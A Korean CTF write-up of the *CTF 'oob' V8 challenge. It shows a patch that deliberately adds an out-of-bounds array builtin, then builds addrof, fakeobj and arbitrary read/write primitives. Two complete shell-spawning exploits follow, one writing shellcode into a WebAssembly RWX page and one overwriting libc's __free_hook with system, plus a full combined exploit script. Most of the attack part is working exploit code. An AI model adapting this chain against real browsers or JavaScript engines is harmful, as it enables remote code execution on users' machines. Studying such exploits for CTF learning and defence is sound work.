목차

  • Build (Ubuntu 18.04)
  • oob.diff
  • 데이터가 저장되는 구조
  • addrof
  • fakeobj
  • aar
  • aaw
  • 첫 번째 익스플로잇 방법
  • 두 번째 익스플로잇 방법
    • leak 과정
  • 레퍼런스

Build (Ubuntu 18.04)

git clone <https://chromium.googlesource.com/chromium/tools/depot_tools.git>
export PATH=`pwd`/depot_tools:"$PATH"
fetch v8 
 cd v8 
 git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync
git apply ../oob.diff
tools/dev/gm.py x64.release

oob.diff

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
                           Builtins::kArrayPrototypeCopyWithin, 2, false);
     SimpleInstallFunction(isolate_, proto, "fill",
                           Builtins::kArrayPrototypeFill, 1, false);
+    SimpleInstallFunction(isolate_, proto, "oob",
+                          Builtins::kArrayOob,2,false);
     SimpleInstallFunction(isolate_, proto, "find",
                           Builtins::kArrayPrototypeFind, 1, false);
     SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 }
 }  // namespace
+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}
 
 BUILTIN(ArrayPush) {
   HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \\
   /* <https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap> */   \\
   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \\
+  CPP(ArrayOob)                                                                \\
                                                                                \\
   /* ArrayBuffer */                                                            \\
   /* ES #sec-arraybuffer-constructor */                                        \\
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtins::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+    case Builtins::kArrayOob:
+      return Type::Receiver();
 
     // ArrayBuffer functions.
     case Builtins::kArrayBufferIsView:
  • 배열의 크기를 index로 사용해서 oob read, write가 발생한다. (index는 0부터 시작하니까)
  • 인자가 없을 때 read 기능, 하나 있을 때 write 기능을 한다.
    • 코드 상에선 인자가 한 개일 때 read 기능을 한다고 나와있는데 기본적으로 들어있는 인자가 있기 때문이다.
a = [1.1]
a.oob()       // oob read
a.oob(0x1234) // oob write

데이터가 저장되는 구조

Untitled

  • a = [1.1, 1.2, 1.3, 1.4]
  • gdb로 디버깅 해보면 +1 되어 있는 값들이 많은데 주소 값들은 +1이 되어 있기 때문에 1을 빼서 확인해야 한다.
  • oob 함수를 이용하면 한 칸이 oob가 발생하는데 1.4 이후에 오는 값은 map이기 때문에 map을 읽거나 map을 수정할 수 있다.

addrof

var obj = {"A":1};
var obj_arr = [obj];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj_arr_map = obj_arr.oob();
var float_arr_map = float_arr.oob();

function addrof(in_obj) {
    obj_arr[0] = in_obj;
    obj_arr.oob(float_arr_map);
    let addr = obj_arr[0];
    obj_arr.oob(obj_arr_map);

    return ftoi(addr);
}
  • 한마디로 표현하자면 내가 인자로 넣은 object array의 주소를 리턴해준다.
  • 위 코드의 동작은 다음과 같다.
    1. object array의 map을 float array map으로 변경한다.
    2. array의 0번째 요소를 리턴한다.
  • 예를 들어 A라는 object array 있을 때 addrof(A)를 하게 되면 원래라면 A의 주소를 참조해서 해당 값을 출력해야 하는데, Float로 변경했기 때문에 A object의 주소가 출력됨
a = [1.1]
b = [a]

console.log(b[0])
// 1.1 (a의 값)

console.log(addof(b))
// 11664137449329 (a의 주소)

fakeobj

var obj = {"A":1};
var obj_arr = [obj];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj_arr_map = obj_arr.oob();
var float_arr_map = float_arr.oob();

function fakeobj(addr) {
    float_arr[0] = itof(addr);
    float_arr.oob(obj_arr_map);
    let fake = float_arr[0];
    float_arr.oob(float_arr_map);

    return fake;
}
  • 한마디로 표현하자면 fakeobj를 만들어서 리턴 해준다.
  • 위 코드의 동작은 다음과 같다.
    • float array map을 object array map으로 변경한다.
    • 해당 float array를 리턴한다.

aar

var arb_rw_arr = [float_arr_map, 1.2, 1.3, 1.4];

console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));

function aar(addr) {
    if (addr % 2n == 0)
   	    addr += 1n;

    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    return ftoi(fake[0]);
}

aar(addr); // address you want

동작 과정

  1. 4개의 요소를 가지는 배열을 만들고 첫 번째 요소에는 float_arr_map을 넣는다.
  2. aar 인자로 읽고 싶은 주소를 넘긴다.
  3. addrof(arb_rw_arr) - 0x20의 주소를 fake object로 만든다
  4. arb_rw_arr의 2번째 요소의 값을 addr - 0x10으로 설정한다.

Untitled (1)

  • addr - 0x10을 한 값을 넣는 이유 elements가 가리키는 주소는 map이고 해당 주소에서 0x10을 더해야 값이 나오기 때문이다.
  • 즉 addr - 0x10 + 0x10에 접근하게 되고 addr의 주소가 가진 값을 얻을 수 있다.

aaw

function aaw_init(addr, val) {
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
    fake[0] = itof(BigInt(val));
}

var buf = new ArrayBuffer(0x100); // 값을 쓸 크기
var dataview = new DataView(buf);
aaw_init((addrof(buf))+0x20n, target_addr);
// dataview를 이용해서 target_addr 영역에 값 쓰기
  • aaw_init 함수는 aar 함수의 구성과 큰 차이가 없다.
  • ArrayBuffer로 생성한 buf의 주소로부터 0x20 위치에 target_addr 주소를 쓰게 되면 그 이후엔 dataview를 통해서 해당 영역에 접근할 수 있다.

첫 번째 익스플로잇 방법

  • 첫 번째 방법은 wasm을 이용해 rwx를 만드는 방법이다.
  • 구글에서도 인지하고 있는 취약점이기 때문에 언젠가 패치될 거 같다.
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

var wasm_i_addr = addrof(wasm_instance);
var rwx = aar((wasm_i_addr)+0x88n);

var shellcode = [0xbb48f631, 0x6e69622f, 0x68732f2f, 0x5f545356, 0x31583b6a, 0x050fd2];
var shellcode_buf = new ArrayBuffer(0x100);
var dataview = new DataView(shellcode_buf);
aaw_init(addrof(shellcode_buf)+0x20n, rwx);

for (var i=0; i<shellcode.length; i++) {
	  dataview.setUint32(4*i, shellcode[i], true);
}
f();
  • rwx 공간을 만들고 해당 공간에 셸 코드를 삽입 후 실행해주는 코드다.

두 번째 익스플로잇 방법

  • libc_leak을 해서 free_hook과 system 주소를 구해서 console.log(“/bin/sh”)로 셸을 따는 방법
heap_ptr = aar(addrof(arb_rw_arr)) - 0x2ec0n
heap = aar(heap_ptr)
libc_ptr = heap + 0xf8n
libc = aar(libc_ptr)
libc_base = libc - 0x3e82a0n
free_hook = libc_base + 0x3ed8e8n
system = libc_base + 0x4f4e0n

print("heap: " + hex(heap))
print("libc_ptr: " + hex(libc_ptr))
print("libc: " + hex(libc))
print("libc_base: " + hex(libc_base))
print("free_hook: " + hex(free_hook))
print("system: " + hex(system))

var buf = new ArrayBuffer(0x8)
var dv = new DataView(buf)
aaw_init(addrof(buf) + 0x20n, free_hook)
dv.setBigUint64(0, system, true)

console.log("/bin/sh");

leak 과정

  1. aar과 aaw를 할 때 사용했던 arb_rw_arr의 주소를 가져온다.
  2. 해당 주소가 매핑되는 시작 부분에 heap 주소가 있다. (다른 쓸만한 주소는 안보였음)
  3. 힙을 살펴보면 libc 주소가 있다.
    • 근데 여기서 디버깅했을 때 보이는 힙의 값과 그냥 실행했을 때의 힙의 값의 위치가 미세한 차이가 있다.
    • 그래서 적당히 아다리 맞춰서 릭을 해야 했다.
  4. libc_base를 구했으면 free_hook과 system을 구해주면 끝
  • 릭이 끝나면 aaw를 이용해 free_hook을 system으로 덮고 console.log(“/bin/sh”)를 해주면 된다.

코드

var buf = new ArrayBuffer(8); 
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { 
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); 
}

function itof(val) { 
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}

function hex(b) {
	return ('0x' + b.toString(16));
}

var obj = {"A":1};
var obj_arr = [obj];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj_arr_map = obj_arr.oob();
var float_arr_map = float_arr.oob();

function addrof(in_obj) {
    obj_arr[0] = in_obj;
    obj_arr.oob(float_arr_map);
    let addr = obj_arr[0];
    obj_arr.oob(obj_arr_map);
    return ftoi(addr);
}

function fakeobj(addr) {
    float_arr[0] = itof(addr);
    float_arr.oob(obj_arr_map);
    let fake = float_arr[0];
    float_arr.oob(float_arr_map);
    return fake;
}

var arb_rw_arr = [float_arr_map, 0, 1.3, 8]

function aar(addr) {
    if (addr % 2n == 0)
		addr += 1n;

    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);

    return ftoi(fake[0]);
}

function aaw_init(addr, val) {
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
    fake[0] = itof(BigInt(val));
}

/*
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

var wasm_i_addr = addrof(wasm_instance);
var rwx = aar((wasm_i_addr)+0x88n);

var shellcode = [0xbb48f631, 0x6e69622f, 0x68732f2f, 0x5f545356, 0x31583b6a, 0x050fd2];
var shellcode_buf = new ArrayBuffer(0x100);
var dataview = new DataView(shellcode_buf);
aaw_init(addrof(shellcode_buf)+0x20n, rwx);

for (var i=0; i<shellcode.length; i++) {
	  dataview.setUint32(4*i, shellcode[i], true);
}
f();
*/

heap_ptr = aar(addrof(arb_rw_arr)) - 0x2ec0n
heap = aar(heap_ptr)
libc_ptr = heap + 0xf8n
libc = aar(libc_ptr)
libc_base = libc - 0x3e82a0n
free_hook = libc_base + 0x3ed8e8n
system = libc_base + 0x4f4e0n

print("heap: " + hex(heap))
print("libc_ptr: " + hex(libc_ptr))
print("libc: " + hex(libc))
print("libc_base: " + hex(libc_base))
print("free_hook: " + hex(free_hook))
print("system: " + hex(system))

var buf = new ArrayBuffer(0x8)
var dv = new DataView(buf)
aaw_init(addrof(buf) + 0x20n, free_hook)
dv.setBigUint64(0, system, true)

console.log("/bin/sh");

레퍼런스

  • https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/